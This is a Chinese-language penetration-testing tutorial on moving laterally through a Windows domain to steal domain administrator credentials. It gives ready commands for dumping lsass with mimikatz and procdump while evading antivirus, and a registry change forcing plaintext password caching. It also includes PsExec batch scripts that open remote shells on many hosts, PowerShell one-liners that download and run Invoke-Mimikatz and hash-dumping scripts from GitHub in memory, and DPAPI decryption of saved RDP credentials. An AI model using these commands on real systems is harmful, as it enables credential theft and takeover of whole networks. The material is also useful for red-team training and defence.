内网横移:抓取域管理员密码 | 您所在的位置:网站首页 › 怎么看管理员的密码 › 内网横移:抓取域管理员密码 |
前言 在通过漏洞拿到机器的权限并且提权到管理员权限,那么下一步就是进行内网横移。如果该机器是在域环境下,那么主要目标就是拿下域控的权限。 下图列举了一些内网横移可能用到的一些技术,本文主要介绍抓取域管理员的密码,其它的方法后面再进行总结。 域内普通账号一般只能登录本机并且权限比较低,而域管理员账号一般是可以登录域内所有计算机的。因此如果拿到域管理员账号就可以进行登录域内所有计算机。 网络管理员有时需要升级补丁,或者给员工安全软件,那么就有可能通过域管理员账号登录主机,那么域管理员的账号信息就可能被保存在计算机的内存之中。 因此域控测试的一个思路就是:通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。 因此首先来看看如果拿到域控管理员的密码,进行进行内网横移。 域内信息收集拿到权限需要进行一些信息收集,包括域控主机,域管理员等信息。 获取域控主机net group “domain controllers” /domain 注意通过该指令得到的机器名后面会多一个$符号 net group “domain admins” /domain 这次的目标也是获取域管理员的账号密码 whoami query user 当拿到一台用户的权限以后,就可以尝试获取该台主机用户的密码,如果网络管理员使用域控管理员的账号登陆过,那么也可以读取到域控管理员的账号信息。 PS:微软为了防止明文密码泄露发布了补丁KB2871997,关闭了Wdigest功能。 当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。 直接读取如果被控主机的系统为win10或者2012R2以下的,可以直接上传mimikatz到被控主机,执行下面的命令来获取密码 mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" 可以看到直接获取到了用户的明文密码。 离线读取目前企业内都安装了杀毒软件,上传mimikatz会被查杀,就不能采用直接读取的方式。那么可以采用离线读取的方式。 需要工具Procdump:微软官方的工具,可在命令行将lsass导出且杀软不会拦截 执行下面的命令导出lsass. Procdump.exe -accepteula -ma lsass.exe lsass.dmp 把文件下载到本地然后利用mimikatz读取 mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit" 前面说过,如果系统是高版本,内存中是不允许保存明文密码的,读取就会像下面所示一样,显示为null。 这时我们可以通过修改注册表+强制锁屏+等待系统管理员重新登录,然后再重新抓取密码。 通过下面的方式修改注册表: reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1然后将机器锁屏,等待重新登录,再次重复离线读取的步骤即可。 批量读取管理员并不会登录到每台机器,因此我们需要获取尽可能多的机器权限,这样才能扩大获取到管理员账号的机会。因此可以通过下面的脚本来批量连接,批量读取密码。 1.首先进行批量连接,并反弹会shell。 连接可以用net use建立Ipc$连接、wmic指令连接、采用rdp方式连接、当然也可以使用“计算机管理--连接到另一台计算机”的功能。这里使用psexec进行远程连接。 @echo off echo check ip addr config file... if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end echo read and analysis file... for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "123456" cmd & start cmd /c PsExec.exe \\%%i -u administrator -p "123456" cmd :end exit2.返回了cmdshell后,可以逐一读取内存,去抓取域管理员的密码,这里可以结合powershell来进行快速操作,无需上传文件: 抓明文: powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts这种方式的好处是只要域管理员登陆过目标计算机,即使注销了会话,一样可以从内存读取到密码。 获取管理员登录过的主机为了提高效率,我们往往需要快速找到管理员登录过那台机器,并且还存在活动会话。 上面我们已经查看过了域管理员的账号,可以通过下面的命令查看是否存在活动会话, tasklist /v |findstr xxxx 批量查看是否存在会话的脚本 @echo off echo check ip addr config file... if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end echo read and analysis file... for /F "eol=#" %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p mytest2010 /v) >>d:\result.txt :end exit哈希破解另外如果无法获取到明文密码,也可以尝试进行hash破解。 可以通过下面的命令获取hash值 powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes或者通过mimikatz获取 获取到hash值以后可以用工具(hashcat)或者在线网站去破解 使用RDP连接,如果勾选了允许我保存凭据,那么登录信息也会保存在本地,通过一定的方式可能获取到密码。 1).查看连接记录 cmdkey /list 2)查找本地的Credentials dir /a %userprofile%\appdata\local\microsoft\credentials\* 3)Credentials记录guidMasterKey值 mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B 找到guidMasterKey对应的MasterKey:(需要system会话) mimikatz sekurlsa::dpapi 解密指定的MasterKey凭据: #mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials[Credentials] /masterkey:[MasterKey] mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B /masterkey:69d18472f65ddf5a670ee2c87dd49336f8cc8ccd01e0c6ba8948555636486c967acd2c46490105913a130289c7cf7fb8af72441fe9c02dfe981b2293337267fd获取域管理员账号是很重要的一步,可以让我们快速的在内网进行横移。 参考链接 https://www.freebuf.com/company-information/172630.html https://f4tty-j.github.io/posts/1ee33d13/ |
CopyRight 2018-2019 实验室设备网 版权所有 |